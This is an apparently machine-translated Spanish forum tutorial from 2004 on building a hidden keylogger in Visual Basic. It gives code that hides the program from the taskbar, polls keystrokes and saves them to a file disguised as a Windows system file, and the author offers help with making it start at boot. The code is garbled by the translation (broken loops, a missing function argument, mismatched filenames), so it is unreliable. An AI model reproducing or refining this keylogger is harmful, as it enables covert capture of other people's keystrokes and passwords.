La creación de un Registrador de teclas en VB

Ok...estoy asumiendo que usted tiene una comprensión básica de cómo visual basic funciona y cómo hacer que los programas de depuración y compilación. Si no, enviarme un correo electrónico y yo podría ser capaz de ayudar.

En primer lugar, si usted no lo tiene, lo consigue. ApiGuide. Descargarlo en http://www.mentalis.org/agnet/apiguide.shtml

Ok. Abierto VB y el inicio de una nueva aplicación. Añadir al formulario un botón, un temporizador y un módulo(sé que el módulo no es en realidad parte de la forma). Eso es todo. El cambio de título del botón para Iniciar el Registro
(si usted quiere hacer que se inicie en el arranque...pm me o enviarme un correo electrónico)
Ahora utilizando la api de guía o simplemente copiar de aquí, declarar una nueva función. el GetASyncKeyState función

Declarar la Función GetAsyncKeyState Lib "user32" Alias "GetAsyncKeyState"


(ByVal vKey Como Long) as Integer

^---poner esto en la sección de declaraciones del módulo.

Que es de una sola línea de código. Asegúrese de que su parecido. y no se divide en 2.

Ahora tiene una nueva función para el uso a través de su programa.
ok...
ahora debemos hacer es ser "invisible". Ahora im lo siento, pero en Windows XP, no sé cómo quitarlo de los "procesos" de la sección Administrador de Tareas. Pero aparte de eso...su invisible.

OK. En el código del botón de..., en el evento click de curso...
escriba el siguiente

app.taskvisible = false


form1.visible = false


form1.ocultar


timer1.enabled = true








"y también en la sección de propiedades de la forma...cambiar el shownintaskbar a false

Ahora, cuando hacemos clic en el botón...es invisible.

Ahora nos vamos a la necesidad de algunas variables....
De vuelta en la sección de declaraciones declara el siguiente...

Dim strLetter como Cadena, strTotal como Cadena

Ahora en el código de temporización de poner esto. Voy a explicar después.
también establecer el intervalo de 1 y enabled a false

Private Sub Timer1_Timer()





Para I = 28 128





Si GetAsyncKeyState <> 0 Then





strLetter = Chr(I)








"Ahora aquí usted puede agregar ciertas cosas


'así que en lugar de mostrar


retardado de los personajes, que te dice


'lo que el usuario presiona. A lo que me refiero


"es si se pulsa Enter, se


"Mostrar un extraño cuadro. Usted no quiere que


'así que u hacer un select case sobre la I para cada


'botón que deseas personalizar. PM me o Correo electrónico


'mi ayuda en esta parte.








strTotal = strTotal & strLetter








End If





A Continuación Me





abrir "C:\Windows\SysResources.DAT" for output as #1


Print #1, strTotal


close #1





End Sub








'Código De Fin De

Ahora todo lo que tienes que hacer es cuando usted quiere comprobar las teclas presionadas, abrir C:\Windows\SysResource.DAT en el bloc de notas, y ahí está. Este programa no se ejecuta en el arranque. Si quieres saber cómo hacerlo, PM me, pero preferiblemente por correo electrónico a mí. Me gustaría mucho que me agregue a Msn Messenger. Mi correo de messenger es... Black_viper_13@hotmail.com
Mi correo para el envío por correo electrónico es..... Anarchist_ninja_thief@hotmail.com.

Espero que esto ayude!
Aquí está toda la codificación para los lamers...

El PRINCIPIO de





Dim strLetter Como Cadena, strTotal Como Cadena, viejo como la cadena de





Private Sub Command1_Click()


Timer1.Enabled = True


End Sub





Private Sub Form_Load()


Command1.Caption = "Start Estar Registrado"


Timer1.Enabled = False


Timer1.Intervalo = 1


End Sub





Private Sub Timer1_Timer()


Para I = 28 128 'código ASCII


Si GetAsyncKeyState <> 0 Then


strLetter = Chr(I)


End If


Si strletter <> Antiguo, a Continuación,


Edad = strletter


strTotal = strTotal y viejos


End If


A Continuación Me


Abrir "C:\windows\SysResources.dat" For Output As #1


Print #1, strTotal


Close #1


End Sub





"ACABAR con la

creo que eso es todo, además el Módulo de curso.
Fecha de publicación: 2004-05-20